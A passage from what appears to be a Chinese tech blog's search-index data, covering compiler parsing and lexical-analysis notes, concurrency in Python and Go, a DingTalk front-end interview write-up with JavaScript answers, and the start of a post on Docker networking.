a 中 定理：同一非终结符的 SELECT 交集为空集，则该文法是 LL(1) 文法",{"id":1901,"title":1902,"titles":1903,"content":1904,"level":78},"\u002Fblog\u002Fcompile-grammar-analysis#左公因子问题","左公因子问题",[1873,1892],"A -> aB|aC 修改为 A -> aM\nM -> B|C",{"id":1906,"title":1907,"titles":1908,"content":1909,"level":78},"\u002Fblog\u002Fcompile-grammar-analysis#左递归问题","左递归问题",[1873,1892],"如果存在形如 A -> Ab | a 的语法规则，则称为左递归（可以一直调用产生式 A->Ab 陷入死循环） 改为 A -> aB\nB -> bB\n   | ε 则可以消除左递归问题",{"id":1911,"title":1912,"titles":1913,"content":1914,"level":66},"\u002Fblog\u002Fcompile-grammar-analysis#自底向上分析","自底向上分析",[1873],"对于输入串 \\omega 规约 到语法规则。（最左规约则为最右推导） 移入-规约分析\n移入：移入分析栈中\n规约：应用语法规则，规约到非终结符 关键问题： 识别句柄（每次规约的部分） LR 分析器结构： 分析表状态栈，符号栈 分析表：M[S, A, G]\nS 表示状态，A 表示 Action 表， G 表示 GOTO 表 Action 表中的每一列是 终结符，GOTO 则是非终结符\nAction 中: sn 表示 将符号和状态 nrn 表示 利用第 n 个产生式进行规约GOTO 表示遇到某非终结符后进入的后继状态acc 是成功接受状态。",{"id":1916,"title":1917,"titles":1918,"content":1919,"level":78},"\u002Fblog\u002Fcompile-grammar-analysis#lr0","LR(0)",[1873,1912],"从左到右读入，最右推导，采用 0 个向前看。 右部某位置标有圆点的产生式称为相应文法的一个LR(0)项目（简称为项目）。 A \\to A \\cdot A 增广文法：如果 G 是一个以 S 为开始符号的文法，则 G 的增广文法G’ 就是在 G 中加上新开始符号 S’ 和产生式 S’ → S 而得到的文法。 引入这个新的开始产生式的目的是使得文法开始符号仅出现在一个产生式的左边，从而使得分析器只有一个接受状态。 A \\to \\cdot BCD 移入项目A \\to B \\cdot CD 待约项目A \\to BC \\cdot D 待约项目A \\to BCD \\cdot 规约项目 项目存在等价情况：当圆点后的符号是非终结符时。等价项目组成一个闭包，形成自动机的一个状态。 LR(0) 文法存在冲突的情况（包括移入\u002F规约冲突和规约\u002F规约冲突）\n如果 LR(0)分析表中没有语法分析动作冲突，那么给定的文法就称为LR(0)文法。 不是所有 CFG 都能用 LR(0)方法进行分析，也就是说，CFG 不总是 LR(0)文法。",{"id":1921,"title":1922,"titles":1923,"content":1924,"level":78},"\u002Fblog\u002Fcompile-grammar-analysis#slr0","SLR(0)",[1873,1912],"带有一点展望的 LR 分析\n考虑有如下状态 X \\to a \\cdot b\\betaA \\to a \\cdotB \\to a \\cdot\n应该使用哪一个规则进行规约？\n求 FOLLOW （A）和 FOLLOW（B），若没有交集，则a \\in FOLLOW(A) ，则用 A 规约否则用 B 规约",{"id":1926,"title":1927,"titles":1928,"content":1929,"level":78},"\u002Fblog\u002Fcompile-grammar-analysis#lr1","LR(1)",[1873,1912],"每个项变成形如 A \\to a \\cdot B, \\$$的形式，跟随的后缀则是继承上一级的后缀。\n初始的后缀为 。后缀由 FIRST( \\alpha ) 产生。\n例如有 S \\to \\cdot L = R, \\$$ ，则需要产生一个 L \\to \\dots, =$ 当点处于最后一位的时候，如果输入为后缀，则使用对应的规则进行规约。\n参考： 自下而上的语法分析——LR(0)和 SLR 分析_lr(0)和 slr()-CSDN 博客《编译原理》构造 LL(1) 分析表的步骤 - 例题解析 - xpwi - 博客园",{"id":1931,"title":1932,"titles":1933,"content":44,"level":52},"\u002Fblog\u002Fcompile-lexical-analysis","编译原理（一）：词法分析",[],{"id":1935,"title":1932,"titles":1936,"content":44,"level":52},"\u002Fblog\u002Fcompile-lexical-analysis#编译原理一词法分析",[],{"id":1938,"title":1939,"titles":1940,"content":1941,"level":66},"\u002Fblog\u002Fcompile-lexical-analysis#前言","前言",[1932],"编译原理是很有趣的一门学科，但是相对晦涩难懂。\n本文的首要目的是为我自己梳理编译原理的学习笔记，也是为了能为后人有一个参考的资料。 本系列文章将会有若干篇，每篇文章的基本结构将会是： 术语表：用于解释本文中的各种术语主要内容，将分为不同的几个标题技巧性的知识",{"id":1943,"title":1944,"titles":1945,"content":1946,"level":66},"\u002Fblog\u002Fcompile-lexical-analysis#术语表","术语表",[1932],"本系列文章将在每篇的开头先把本文的术语解释一下。\n在编译原理的学习过程中，各种奇怪的术语总是令人困扰。 Lexical Analysis 将字符串转换为 Token 串的过程Token 词法单元, 通过词法分析得到的词法单元Regular Expression 正则表达式、正规式：用来描述词法的工具NFA: Non-determined Finite Automaton，非确定有限状态自动机(详细解释见下文)DFA: Determined Finite Automaton, 确定有限状态自动机",{"id":1948,"title":1949,"titles":1950,"content":1951,"level":66},"\u002Fblog\u002Fcompile-lexical-analysis#词法分析的过程","词法分析的过程",[1932],"词法分析的目的就是将一串字符串转化为计算机可以使用的串（也即 Token 串）。\n执行这一过程的程序是一种 “扫描器”。按照一定方向（一般是从左到右）扫描字符串，并将得到的 Token 通过一定的方式表达出来 （例如 XML ) flowchart LR\n字符串 --> id[(扫描器)] --> Token串 那么如何定义某个串为一个 Token 呢？ 这就需要用到正则表达式。\n正则表达式是给人类使用的，用于定义 Token 串的工具，而计算机对于正则表达式也是束手无策。\n实际上扫描器是基于有限状态自动机的。",{"id":1953,"title":1954,"titles":1955,"content":1956,"level":66},"\u002Fblog\u002Fcompile-lexical-analysis#正则表达式","正则表达式",[1932],"本文不详细解释正则表达式，正则表达式理论上对于能够学习编译原理的同学并不陌生。\n需要注意的是正则表达式有三种最重要的符号： 联合，通常使用+ 或 | 表示连接，通常不使用符号表示（或者使用 \\cdot 表示）闭包，通常使用* 表示 上述符号的优先级顺序为从上到下，优先级递增。\n当然除此之外还需要括号来表示运算的优先级。",{"id":1958,"title":1959,"titles":1960,"content":1961,"level":66},"\u002Fblog\u002Fcompile-lexical-analysis#有限状态自动机","有限状态自动机",[1932],"自动机是一种抽象的机器，形式化的描述是一个五元组 M = (S, \\Sigma, f, s_{0}, Z) 其中 S 表示一个有限的状态集合\\Sigma 表示一个有限的符号集合f 表示每个状态的一个转移函数s_{0}表示初始状态集Z 表示终结状态集 说人话, 一个有限状态自动机的特点： 有限个状态（而不是无限个），每个状态都可以通过转移函数转移到另一个状态。转移函数的输入是符号（字符）。当然也存在初始状态和终结状态（终结状态） NFA 再进行限制，则是 DFA DFA (确定性有限状态自动机) 的特点: 一个状态的每个输入都只对应一个确定的状态（而不是一个输入可能对应两个状态）不存在空转移 需要注意的还有一点是 DFA 的状态数量可能是 NFA 状态的指数。",{"id":1963,"title":1964,"titles":1965,"content":1966,"level":78},"\u002Fblog\u002Fcompile-lexical-analysis#fa-的表示法","FA 的表示法",[1932,1959],"可以通过状态转换图或状态转换表表达一个自动机。\n对于人类来说，状态转换图或许是更直观的方式， 而对于计算机来说状态转换表或许是更合理的选择。",{"id":1968,"title":1969,"titles":1970,"content":1971,"level":66},"\u002Fblog\u002Fcompile-lexical-analysis#从正则表达式到自动机","从正则表达式到自动机",[1932],"从正则表达式转换到 NFA 是相对简单的。\n只需要知道正则表达式的三个基本运算：连接、联合、闭包分别对应的 NFA 基本结构即可。 具体如下图所示",{"id":1973,"title":1974,"titles":1975,"content":1976,"level":66},"\u002Fblog\u002Fcompile-lexical-analysis#从-nfa-到-dfa","从 NFA 到 DFA",[1932],"NFA 存在空转移、每个状态的输入可能会导致多个不同的目标状态，因此对于计算机来说，使用 DFA 是更为合理的选择。\n从 NFA 转换到 DFA 使用 子集构造法。",{"id":1978,"title":1979,"titles":1980,"content":1981,"level":78},"\u002Fblog\u002Fcompile-lexical-analysis#子集构造法","子集构造法",[1932,1974],"定义如下几个运算： \\varepsilon-\\text{closure}(s)： 从 s 状态只通过 \\varepsilon转换到达的状态集合\\varepsilon-\\text{closure}(T)： 从 T 中的某个状态只通过 \\varepsilon转换到达的状态集合（取并集）move(T,a)：从 T 中某个状态通过 a 转换到达的状态集合 如果能通过空转移到达的状态，则视为等价，可以合并称为一个状态。\n从等价状态集中的每个非等价状态通过 a 转换后得到的状态可以合并成一个新的状态。 从初始状态的等价状态集开始（记录为 I），对每一种可能的转换\n通过 a 转换后产生的新的状态（Ia）如果有新的状态，则加入第一列（I 列）重复这个过程，直到没有新的状态产生。 参考 编译技术：正规式、NFA、DFA、最简 DFA 的转换-CSDN 博客",{"id":1983,"title":1984,"titles":1985,"content":44,"level":66},"\u002Fblog\u002Fcompile-lexical-analysis#dfa-的最简化","DFA 的最简化",[1932],{"id":1987,"title":1988,"titles":1989,"content":1990,"level":78},"\u002Fblog\u002Fcompile-lexical-analysis#子集划分法","子集划分法",[1932,1984],"对于一个 DFA 进行状态的划分。\n初始划分是终结状态和非终结状态。\n对于每一个子集再进行划分：\n其中的一部分都可以通过其他状态通过转换得到\n而不能被得到的部分划分出来。\n直到不能再划分。 参考：\n编译技术：正规式、NFA、DFA、最简 DFA 的转换-CSDN 博客 html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}",{"id":1992,"title":1993,"titles":1994,"content":1995,"level":52},"\u002Fblog\u002Fconcurrency","线程、进程、协程",[],"程序的并发实现方式，常见的无非如题所述的三种：\n线程、进程和协程。本文将总结三者的区别，以及在 python 和 golang 等语言中的实际应用。",{"id":1997,"title":1993,"titles":1998,"content":1995,"level":52},"\u002Fblog\u002Fconcurrency#线程进程协程",[],{"id":2000,"title":2001,"titles":2002,"content":2003,"level":66},"\u002Fblog\u002Fconcurrency#并发并行异步同步","并发、并行、异步、同步",[1993],"并发 (Concurrency)，是指在同一段时间内执行多个程序并行（Parallelism），是指在同一刻有多个程序在同时执行 并发可以理解为两个（或多个）程序表现上能同时进行。\n而真正意义上的同时，对于单核 CPU，真正意义上的并行（在某一个时刻，同时运行多个程序）并不存在。 因此从直白的说，并发是一种程序的调度技术，使 CPU 的空闲时间降低，而大大提高效率。 CPU 本身也有并发技术，如中断机制、流水 CPU、DMA等等，这并非是本文的重点。 异步（Asynchrony)，是指多个程序的运行并没有时间上的顺序关系非阻塞（Non-blocking），是指程序的执行过程中不存在等待，是异步的实现同步（Synchrony)，和异步相对，程序的运行有时间上的顺序，通常会有阻塞阻塞 (Blocking)， 是指任务执行过程中的暂停或等待，通常是为了实现同步 在时序逻辑电路中也有同步和异步的概念，同步的时序逻辑电路通常引入一个统一的时钟信号。",{"id":2005,"title":2006,"titles":2007,"content":2008,"level":78},"\u002Fblog\u002Fconcurrency#并发安全","并发安全",[1993,2001],"程序的并发需要考虑的一个问题就是并发安全。 对于一段数据，由于并发的存在，可能存在脏读的情况。\n一般的解决方式是通过加锁的方式，产生一定程度上的阻塞，从而避免并发导致的数据冲突。 能避免由于并发而造成的数据冲突的数据结构称之为并发安全的（或是线程安全的）",{"id":2010,"title":2011,"titles":2012,"content":2013,"level":66},"\u002Fblog\u002Fconcurrency#线程","线程",[1993],"线程 (Thread) 是 CPU 调度的最小单位。也就是说子线程的执行先后顺序是由 CPU 决定调度的。 一个进程可以有多个线程。",{"id":2015,"title":2016,"titles":2017,"content":2018,"level":78},"\u002Fblog\u002Fconcurrency#python-中多线程的实现","Python 中多线程的实现",[1993,2011],"import threading\n\ndef sub_program(name: str) -> None:\n    for _ in range(5):\n        print(f'Hello {name}')\n\ndef main() -> None:\n    threads = [threading.Thread(target=sub_program, args=(str(i),)) for i in range(10)]\n    for thread in threads:\n        thread.start()\n\nif __name__ == '__main__':\n    main()",{"id":2020,"title":2021,"titles":2022,"content":2023,"level":66},"\u002Fblog\u002Fconcurrency#进程","进程",[1993],"进程 (Process) 是计算机资源分配的最小单位，是并行。 以下是 Python 实现多进程",{"id":2025,"title":2026,"titles":2027,"content":2028,"level":78},"\u002Fblog\u002Fconcurrency#python-多进程的实现","Python 多进程的实现",[1993,2021],"import multiprocessing\n\ndef sub_program(name: str) -> None:\n    for _ in range(5):\n        print(f'Hello {name}')\n\ndef main() -> None:\n    pool = multiprocessing.Pool(5)\n    for i in range(5):\n        pool.apply_async(sub_program, args=(str(i),))\n    pool.close()\n    pool.join()\n\nif __name__ == '__main__':\n    main()",{"id":2030,"title":2031,"titles":2032,"content":2033,"level":66},"\u002Fblog\u002Fconcurrency#协程","协程",[1993],"协程 (Coroutine), 也叫微线程。\n是在一个线程内异步执行，\n需要程序自己进行调动（而不是 CPU 去调动）\n资源消耗相比线程来说更小。",{"id":2035,"title":2036,"titles":2037,"content":2038,"level":78},"\u002Fblog\u002Fconcurrency#python-协程的实现","Python 协程的实现",[1993,2031],"import asyncio\n\nasync def sub_program(name: str) -> None:\n    for _ in range(5):\n        print(f'Hello {name}')\n\nasync def main() -> None:\n    await asyncio.gather(*[sub_program(str(i)) for i in range(5)])\n\n\nif __name__ == '__main__':\n    asyncio.run(main())",{"id":2040,"title":2041,"titles":2042,"content":2043,"level":66},"\u002Fblog\u002Fconcurrency#并发开销","并发开销",[1993],"总的来说，资源开销: 协程 \u003C 线程 \u003C 进程。",{"id":2045,"title":2046,"titles":2047,"content":2048,"level":66},"\u002Fblog\u002Fconcurrency#gil-锁","GIL 锁",[1993],"GIL （全局解释器锁）是指只能有一个线程解释执行 Python 的字节码。\n这是因为一些 Python 的解释器（例如 CPython）的实现不是线程安全的，\n通过 GIL 可以避免多个线程访问修改同一数据。 GIL 的存在对于 CPU 密集型的任务来说，可能会影响多线程的性能。也是 Python 为人诟病的一点。",{"id":2050,"title":2051,"titles":2052,"content":2053,"level":66},"\u002Fblog\u002Fconcurrency#goroutine","Goroutine",[1993],"Go 在语言层面支持并发操作得益于 Go 的 Goroutine.\nGoroutine 是一种协程的实现。\n而相比 Python 在协程上的繁琐程度，Go 通过关键字 go 可以实现并发。 例如下面的一段样例，\n该样例模拟的是两个输入设备，一个设备等待用户的输入，而另一个设备每隔 1s 进行一次输入。 import asyncio\n\nasync def func():\n    while True:\n        await asyncio.sleep(1)\n        print('ran')\n\nasync def func2():\n    print(await asyncio.get_running_loop().run_in_executor(None, input, '>'))\n\nasync def main():\n    await asyncio.gather(func(), func2())\n\nasyncio.run(main()) 而 Golang 的实现相比而言就简单很多 package main\n\nimport (\n    \"fmt\"\n    \"time\"\n)\n\nfunc func1() {\n    for {\n        time.Sleep(1 * time.Second)\n        fmt.Println(\"ran\")\n    }\n}\n\nfunc func2() {\n    var input string\n    fmt.Print(\">\")\n    fmt.Scanln(&input)\n    fmt.Println(input)\n}\n\nfunc main() {\n    go func1()\n    for {\n        func2()\n    }\n} 作为对比，上述代码的多线程版本（python） import threading\nimport time\n\ndef func():\n    while True:\n        time.sleep(1)\n        print('ran')\n\ndef func2():\n    print(input('>'))\n\nx = threading.Thread(target=func)\nx.start()\nwhile True:\n    func2() html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}",{"id":2055,"title":2056,"titles":2057,"content":44,"level":52},"\u002Fblog\u002Fdingtalk-interview-1","钉钉一面",[],{"id":2059,"title":2056,"titles":2060,"content":44,"level":52},"\u002Fblog\u002Fdingtalk-interview-1#钉钉一面",[],{"id":2062,"title":2063,"titles":2064,"content":2065,"level":66},"\u002Fblog\u002Fdingtalk-interview-1#笔试","笔试",[2056],"有三个题目，使用 js 解决。",{"id":2067,"title":2068,"titles":2069,"content":2070,"level":78},"\u002Fblog\u002Fdingtalk-interview-1#_1-实现一个函数取交集并去重","1. 实现一个函数，取交集并去重",[2056,2063],"intersection([1, 2, 2, 3, 4, 5], [3, 3, 4, 5, 6, 7]); \u002F\u002F [3, 4, 5] 笔者的答案: function intersection(a1, a2) {\n  return a1.filter((e) => a2.includes(e));\n} 这题给的样例输入并不好，实现的函数里面没有体现出去重。\n因此在后续的面试中，面试官要求给出一个去重的算法。我给出了一个比较笨的方法：使用快慢指针进行搜索，如果有相同，则删除一个。在 js 中可以直接通过 Set 进行去重 Array.from(new Set(array))",{"id":2072,"title":2073,"titles":2074,"content":2075,"level":78},"\u002Fblog\u002Fdingtalk-interview-1#_2-解析字符串的-query-params","2. 解析字符串的 Query Params",[2056,2063],"parseQueryString(\"https:\u002F\u002Fwww.dingtalk.com\u002Findex.html?key0=0&key1=1&key2=2\");\n\u002F\u002F output:\n\u002F\u002F {\n\u002F\u002F   key0: \"0\",\n\u002F\u002F   key1: \"1\",\n\u002F\u002F   key2: \"2\",\n\u002F\u002F } 笔者的答案： function parseQueryString(str) {\n  const q = str.split(\"?\")[1];\n  if (!q) return {};\n  const obj = {};\n  for (const pair of q.split(\"&\")) {\n    const [key, value] = pair.split(\"=\");\n    obj[key] = value;\n  }\n  return obj;\n} 这个答案可能并不是最好的，使用 reduce 函数构造对象可能更好，笔者现场没写出来。\n参考： https:\u002F\u002Fdeveloper.mozilla.org\u002Fzh-CN\u002Fdocs\u002FWeb\u002FJavaScript\u002FReference\u002FGlobal_Objects\u002FArray\u002Freduce",{"id":2077,"title":2078,"titles":2079,"content":2080,"level":78},"\u002Fblog\u002Fdingtalk-interview-1#_3-将数组解析为树然后输出树的深度和最大子节点数","3. 将数组解析为树，然后输出树的深度和最大子节点数",[2056,2063],"let list = [\n  { id: 1, name: \"部门A\", parentId: 0 },\n  { id: 2, name: \"部门B\", parentId: 0 },\n  { id: 3, name: \"部门C\", parentId: 1 },\n  { id: 4, name: \"部门D\", parentId: 1 },\n  { id: 5, name: \"部门E\", parentId: 2 },\n  { id: 6, name: \"部门F\", parentId: 3 },\n  { id: 7, name: \"部门G\", parentId: 2 },\n  { id: 8, name: \"部门H\", parentId: 4 },\n];\n\nconvert(list);\n\u002F\u002F output:\n\u002F\u002F [\n\u002F\u002F   {\n\u002F\u002F     \"id\": 1,\n\u002F\u002F     \"name\": \"部门A\",\n\u002F\u002F     \"parentId\": 0,\n\u002F\u002F     \"children\": [\n\u002F\u002F       {\n\u002F\u002F         \"id\": 3,\n\u002F\u002F         \"name\": \"部门C\",\n\u002F\u002F         \"parentId\": 1,\n\u002F\u002F         \"children\": [\n\u002F\u002F           {\n\u002F\u002F             \"id\": 6,\n\u002F\u002F             \"name\": \"部门F\",\n\u002F\u002F             \"parentId\": 3\n\u002F\u002F           }\n\u002F\u002F         ]\n\u002F\u002F       },\n\u002F\u002F       {\n\u002F\u002F         \"id\": 4,\n\u002F\u002F         \"name\": \"部门D\",\n\u002F\u002F         \"parentId\": 1,\n\u002F\u002F         \"children\": [\n\u002F\u002F           {\n\u002F\u002F             \"id\": 8,\n\u002F\u002F             \"name\": \"部门H\",\n\u002F\u002F             \"parentId\": 4\n\u002F\u002F           }\n\u002F\u002F         ]\n\u002F\u002F       }\n\u002F\u002F     ]\n\u002F\u002F   },\n\u002F\u002F   {\n\u002F\u002F     \"id\": 2,\n\u002F\u002F     \"name\": \"部门B\",\n\u002F\u002F     \"parentId\": 0,\n\u002F\u002F     \"children\": [\n\u002F\u002F       {\n\u002F\u002F         \"id\": 5,\n\u002F\u002F         \"name\": \"部门E\",\n\u002F\u002F         \"parentId\": 2\n\u002F\u002F       },\n\u002F\u002F       {\n\u002F\u002F         \"id\": 7,\n\u002F\u002F         \"name\": \"部门G\",\n\u002F\u002F         \"parentId\": 2\n\u002F\u002F       }\n\u002F\u002F     ]\n\u002F\u002F   }\n\u002F\u002F ]\n\ncalculate(tree);\n\u002F\u002F output:\n\u002F\u002F {\n\u002F\u002F   maxDepth: 3,\n\u002F\u002F   maxChildrenCount: 2,\n\u002F\u002F } 笔者的答案： function convert(list) {\n  const tree = [];\n  for (const item of list) {\n    if (item.parentId === 0) {\n      tree.push(item);\n    }\n    for (const item2 of list) {\n      if (item.id === item2.parentId) {\n        if (!item.children) {\n          item.children = [];\n        }\n        item.children.push(item2);\n      }\n    }\n  }\n  return tree;\n}\n\nfunction calculate(tree) {\n  let maxDepth = 0;\n  let maxChildrenCount = 0;\n\n  function dfs(node, depth) {\n    maxDepth = maxDepth \u003C depth ? depth : maxDepth;\n    if (node.children) {\n      maxChildrenCount =\n        maxChildrenCount \u003C node.children.length\n          ? node.children.length\n          : maxChildrenCount;\n      for (const child of node.children) {\n        dfs(child, depth + 1);\n      }\n    }\n  }\n\n  for (const node of tree) {\n    dfs(node, 1);\n  }\n\n  return { maxDepth, maxChildrenCount };\n}",{"id":2082,"title":2083,"titles":2084,"content":2085,"level":66},"\u002Fblog\u002Fdingtalk-interview-1#面试","面试",[2056],"面试通过电话进行，持续了约 56 分钟。以下为部分问题的摘录，其中顺序略有调整。 部分问题针对我个人，并没有普适性，所以没有摘录。",{"id":2087,"title":2088,"titles":2089,"content":2090,"level":78},"\u002Fblog\u002Fdingtalk-interview-1#q1-在日常开发过程中是否使用过-es6-特有的语法","Q1: 在日常开发过程中是否使用过 ES6 特有的语法？",[2056,2083],"使用过，箭头函数可能是最常用的 ES6 特性。（解释有什么区别，下一问题）使用 const 和 let 取代 var. (var 有什么问题，为什么不用 var)可选链操作符和 '??' 符Symbol 作为新的一个数据类型（举例是 Vue 的 Project\u002Finject 的 Key） 还有一些特性没有提到，比如对象的结构和 for of 循环。",{"id":2092,"title":2093,"titles":2094,"content":2095,"level":190},"\u002Fblog\u002Fdingtalk-interview-1#箭头函数和普通函数有什么区别","箭头函数和普通函数有什么区别？",[2056,2083,2088],"语法上，箭头函数比普通函数更加紧凑便利。最大的特点是箭头函数没有自己的 this。箭头函数的 this 是在定义时\n获取的外部 this。是固定的。 有只能使用箭头函数的场景：防抖和节流函数的实现，（因为要涉及到 call(this), 不能使用普通函数定义)",{"id":2097,"title":2098,"titles":2099,"content":2100,"level":190},"\u002Fblog\u002Fdingtalk-interview-1#var-有什么问题为什么不推荐使用","var 有什么问题，为什么不推荐使用。",[2056,2083,2088],"var 有一些历史遗留问题。var 的作用域只有全局作用域和函数作用域，因此在一些涉及到块作用域的情况下，有 var 的存在可能会造成问题。 使用 let 作为变量，则可以更好的使用作用域，避免很多问题的发生。",{"id":2102,"title":2103,"titles":2104,"content":2105,"level":78},"\u002Fblog\u002Fdingtalk-interview-1#q2vue-和-react-的区别","Q2：Vue 和 React 的区别",[2056,2083],"我认为最主要的区别是数据绑定的原理不同。 vue 基于 proxy 实现数据的双向绑定，因此 vue 作为一个 mvvm 框架，\n数据改变则视图改变，视图改变同样会造成数据改变。 而 react 默认认为组件是无状态的，需要使用 useState 来定义状态。状态发生改变则对组件进行重新渲染。 还有一些其他的区别，比如 diff 算法的不同。 Vue 对比节点，如果类型相同而 className 不同，则认为是不同类型的元素\n进行删除重建，但是 react 会认为是同类型的节点，只会修改节点属性。vue 列表对比使用收尾指针法，而 react 采用从左到右依次对比的方法。参考：https:\u002F\u002Fworktile.com\u002Fkb\u002Fask\u002F19606.html",{"id":2107,"title":2108,"titles":2109,"content":2110,"level":78},"\u002Fblog\u002Fdingtalk-interview-1#q3-没答上来-是否了解过浏览器的重绘reflow和重排repaint","Q3 （没答上来）: 是否了解过浏览器的重绘(reflow)和重排(repaint)",[2056,2083],"HTML 被 HTML 解析器解析成 DOM 树；CSS 被 CSS 解析器解析成 CSSOM 树；结合 DOM 树和 CSSOM 树，生成一棵渲染树(Render Tree)，这一过程称为 Attachment；生成布局(flow)，浏览器在屏幕上“画”出渲染树中的所有节点；将布局绘制(paint)在屏幕上，显示出整个页面。在页面的生命周期中，网页生成的时候，至少会渲染一次。在用户访问的过程中，还会不断触发重排(reflow)和重绘(repaint)，不管页面发生了重绘还是重排，都会影响性能，最可怕的是重排，会使我们付出高额的性能代价，所以我们应尽量避免。重绘不一定导致重排，但重排一定会导致重绘。参考 https:\u002F\u002Fjuejin.cn\u002Fpost\u002F6844904083212468238",{"id":2112,"title":2113,"titles":2114,"content":2115,"level":78},"\u002Fblog\u002Fdingtalk-interview-1#q4没答上来-taro-或者是-uni-app-的编译机制","Q4（没答上来）: Taro 或者是 uni-app 的编译机制",[2056,2083],"笔者只用过一次啊。。怎么知道这个！\n丢一篇参考文章：https:\u002F\u002Fjuejin.cn\u002Fpost\u002F6983864416819216415",{"id":2117,"title":2118,"titles":2119,"content":2120,"level":78},"\u002Fblog\u002Fdingtalk-interview-1#q5-答上来了吗-flutter-的跨平台是怎么实现的","Q5 (答上来了吗) ：Flutter 的跨平台是怎么实现的",[2056,2083],"Flutter 实际上也是 hybrid App，只不过性能比 React Native 或者是 Electron 这种要好。 丢一篇参考文章：https:\u002F\u002Fjuejin.cn\u002Fpost\u002F6844903630584152072",{"id":2122,"title":2123,"titles":2124,"content":2125,"level":78},"\u002Fblog\u002Fdingtalk-interview-1#还会问些啥","还会问些啥",[2056,2083],"基本上除了上述的问题，还有就是看你简历里面写的项目经历，问一些相关的项目的具体问题。 还会问近期在学什么。 html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .sKbfg, html code.shiki .sKbfg{--shiki-default:#4C4F69;--shiki-dark:#CAD3F5;--shiki-light:#4C4F69}html pre.shiki code .sysvw, html code.shiki .sysvw{--shiki-default:#FE640B;--shiki-dark:#F5A97F;--shiki-light:#FE640B}html pre.shiki code .sPaNA, html code.shiki .sPaNA{--shiki-default:#7C7F93;--shiki-dark:#939AB7;--shiki-light:#7C7F93}html pre.shiki code .sV9BF, html code.shiki .sV9BF{--shiki-default:#7C7F93;--shiki-default-font-style:italic;--shiki-dark:#939AB7;--shiki-dark-font-style:italic;--shiki-light:#7C7F93;--shiki-light-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sBAe2, html code.shiki .sBAe2{--shiki-default:#8839EF;--shiki-dark:#C6A0F6;--shiki-light:#8839EF}html pre.shiki code .sXaTj, html code.shiki .sXaTj{--shiki-default:#E64553;--shiki-default-font-style:italic;--shiki-dark:#EE99A0;--shiki-dark-font-style:italic;--shiki-light:#E64553;--shiki-light-font-style:italic}html pre.shiki code .sp4-F, html code.shiki .sp4-F{--shiki-default:#179299;--shiki-dark:#8BD5CA;--shiki-light:#179299}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}",{"id":2127,"title":2128,"titles":2129,"content":2130,"level":52},"\u002Fblog\u002Fdocker-network-model","Docker 网络模型",[],"在之前的文章中，\n我曾经使用 Docker 的 Macvlan 网络在内网创建了一台 OpenWrt 主机作为旁路网关。",{"id":2132,"title":2128,"titles":2133,"content":2134,"level":52},"\u002Fblog\u002Fdocker-network-model#docker-网络模型",[],"在之前的文章中，\n我曾经使用 Docker 的 Macvlan 网络在内网创建了一台 OpenWrt 主机作为旁路网关。 那么 Docker 的网络究竟有哪几种，每种网络模型都是什么样的呢？ Docker 的网络模型一共有六种: bridge: 默认的桥接网路host: 